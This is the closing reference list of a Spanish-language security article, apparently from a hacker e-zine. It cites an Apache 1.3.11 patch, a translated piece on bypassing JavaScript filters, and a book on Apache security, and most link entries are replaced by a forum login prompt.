Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion
~
Para ver este enlace Registrate o Inicia Sesion

~
Para ver este enlace Registrate o Inicia Sesion

Parche para la version 1.3.11 e inferiores de Apache que previene
este tipo de ataques. En las versiones posteriores a la 1.3.11 no es
necesario parchear :).

~ DTF zine #4 0x11 - Traduccion de "Bypassing the JavaScript filters: The
flash attack." original de eyeon security. (
Para ver este enlace Registrate o Inicia Sesion)

~ "Professional Apache Security" por Tony Mobily et al.
ISBN: 1861007760

~
Para ver este enlace Registrate o Inicia Sesion - x0und rocks!

Disculpas por los errores. Este articulo esta dedicado a Mireia, decoder,
el rey de los quelonios, iam, ^oscurito y ergosum :).

0x00